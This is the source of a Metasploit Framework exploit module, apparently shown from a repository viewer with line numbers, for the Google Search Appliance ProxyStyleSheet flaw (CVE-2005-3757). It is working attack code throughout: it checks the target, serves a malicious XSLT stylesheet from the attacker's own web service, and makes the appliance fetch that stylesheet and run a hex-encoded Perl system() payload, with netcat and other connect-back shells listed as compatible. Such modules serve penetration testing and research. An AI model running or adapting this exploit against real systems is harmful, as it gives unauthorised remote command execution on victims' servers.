root / modules / exploits / unix / webapp / google_proxystylesheet_exec.rb @ master
History | View | Annotate | Download (4.3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = ExcellentRanking |
| 18 |
include Msf::Exploit::Remote::HttpClient |
| 19 |
include Msf::Exploit::Remote::HttpServer |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'Google Appliance ProxyStyleSheet Command Execution', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits a feature in the Saxon XSLT parser used by |
| 26 |
the Google Search Appliance. This feature allows for arbitrary |
| 27 |
java methods to be called. Google released a patch and advisory to |
| 28 |
their client base in August of 2005 (GA-2005-08-m). The target appliance |
| 29 |
must be able to connect back to your machine for this exploit to work. |
| 30 |
},
|
| 31 |
'Author' => [ 'hdm' ], |
| 32 |
'License' => MSF_LICENSE, |
| 33 |
'Version' => '$Revision$', |
| 34 |
'References' =>
|
| 35 |
[ |
| 36 |
['CVE', '2005-3757'], |
| 37 |
['OSVDB', '20981'], |
| 38 |
['BID', '15509'], |
| 39 |
], |
| 40 |
'Privileged' => false, |
| 41 |
'Payload' =>
|
| 42 |
{
|
| 43 |
'DisableNops' => true, |
| 44 |
'Space' => 4000, |
| 45 |
'Compat' =>
|
| 46 |
{
|
| 47 |
'PayloadType' => 'cmd', |
| 48 |
'RequiredCmd' => 'generic perl bash telnet netcat-e', |
| 49 |
} |
| 50 |
}, |
| 51 |
'Platform' => 'unix', |
| 52 |
'Arch' => ARCH_CMD, |
| 53 |
'Targets' => [[ 'Automatic', { }]], |
| 54 |
'DisclosureDate' => 'Aug 16 2005', |
| 55 |
'Stance' => Msf::Exploit::Stance::Aggressive, |
| 56 |
'DefaultTarget' => 0)) |
| 57 |
end
|
| 58 |
|
| 59 |
# Handle incoming requests from the appliance
|
| 60 |
def on_request_uri(cli, request) |
| 61 |
|
| 62 |
print_status("Handling new incoming HTTP request...")
|
| 63 |
|
| 64 |
exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))' |
| 65 |
data = @xml_data.gsub(/:x:MSF:x:/, exec_str) |
| 66 |
send_response(cli, data) |
| 67 |
end
|
| 68 |
|
| 69 |
def check |
| 70 |
res = send_request_cgi({
|
| 71 |
'uri' => '/search', |
| 72 |
'vars_get' =>
|
| 73 |
{
|
| 74 |
'client' => rand_text_alpha(rand(15)+1), |
| 75 |
'site' => rand_text_alpha(rand(15)+1), |
| 76 |
'output' => 'xml_no_dtd', |
| 77 |
'q' => rand_text_alpha(rand(15)+1), |
| 78 |
'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/' |
| 79 |
} |
| 80 |
}, 10)
|
| 81 |
|
| 82 |
if (res and res.body =~ /cannot be resolved to an ip address/) |
| 83 |
print_status("This system appears to be vulnerable")
|
| 84 |
return Exploit::CheckCode::Vulnerable |
| 85 |
end
|
| 86 |
|
| 87 |
if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/) |
| 88 |
print_status("This system appears to be patched")
|
| 89 |
end
|
| 90 |
|
| 91 |
print_status("This system is not exploitable")
|
| 92 |
return Exploit::CheckCode::Safe |
| 93 |
end
|
| 94 |
|
| 95 |
|
| 96 |
def exploit |
| 97 |
|
| 98 |
# load the xml data
|
| 99 |
path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml") |
| 100 |
fd = File.open(path, "rb") |
| 101 |
@xml_data = fd.read(fd.stat.size)
|
| 102 |
fd.close |
| 103 |
|
| 104 |
print_status("Obtaining the appliance site and client IDs...")
|
| 105 |
# Send a HTTP/1.0 request to learn the site configuration
|
| 106 |
res = send_request_raw({
|
| 107 |
'uri' => '/', |
| 108 |
'version' => '1.0' |
| 109 |
}, 10)
|
| 110 |
|
| 111 |
if !(res and res['location'] and res['location'] =~ /site=/) |
| 112 |
print_status("Could not read the location header: #{res.code} #{res.message}")
|
| 113 |
return
|
| 114 |
end
|
| 115 |
|
| 116 |
m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im) |
| 117 |
if !(m and m[1] and m[2]) |
| 118 |
print_status("Invalid location header: #{res['location']}")
|
| 119 |
return
|
| 120 |
end
|
| 121 |
|
| 122 |
print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
|
| 123 |
start_service |
| 124 |
|
| 125 |
print_status("Requesting a search using our custom XSLT...")
|
| 126 |
res = send_request_cgi({
|
| 127 |
'uri' => '/search', |
| 128 |
'vars_get' =>
|
| 129 |
{
|
| 130 |
'client' => m[2], |
| 131 |
'site' => m[1], |
| 132 |
'output' => 'xml_no_dtd', |
| 133 |
'q' => rand_text_alpha(rand(15)+1), |
| 134 |
'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml", |
| 135 |
'proxyreload' => '1' |
| 136 |
} |
| 137 |
}, 25)
|
| 138 |
|
| 139 |
if (res)
|
| 140 |
print_status("The server returned: #{res.code} #{res.message}")
|
| 141 |
print_status("Waiting on the payload to execute...")
|
| 142 |
select(nil,nil,nil,20) |
| 143 |
else
|
| 144 |
print_status("No response from the server")
|
| 145 |
end
|
| 146 |
|
| 147 |
print_status("Shutting down the web service...")
|
| 148 |
stop_service |
| 149 |
end
|
| 150 |
|
| 151 |
end
|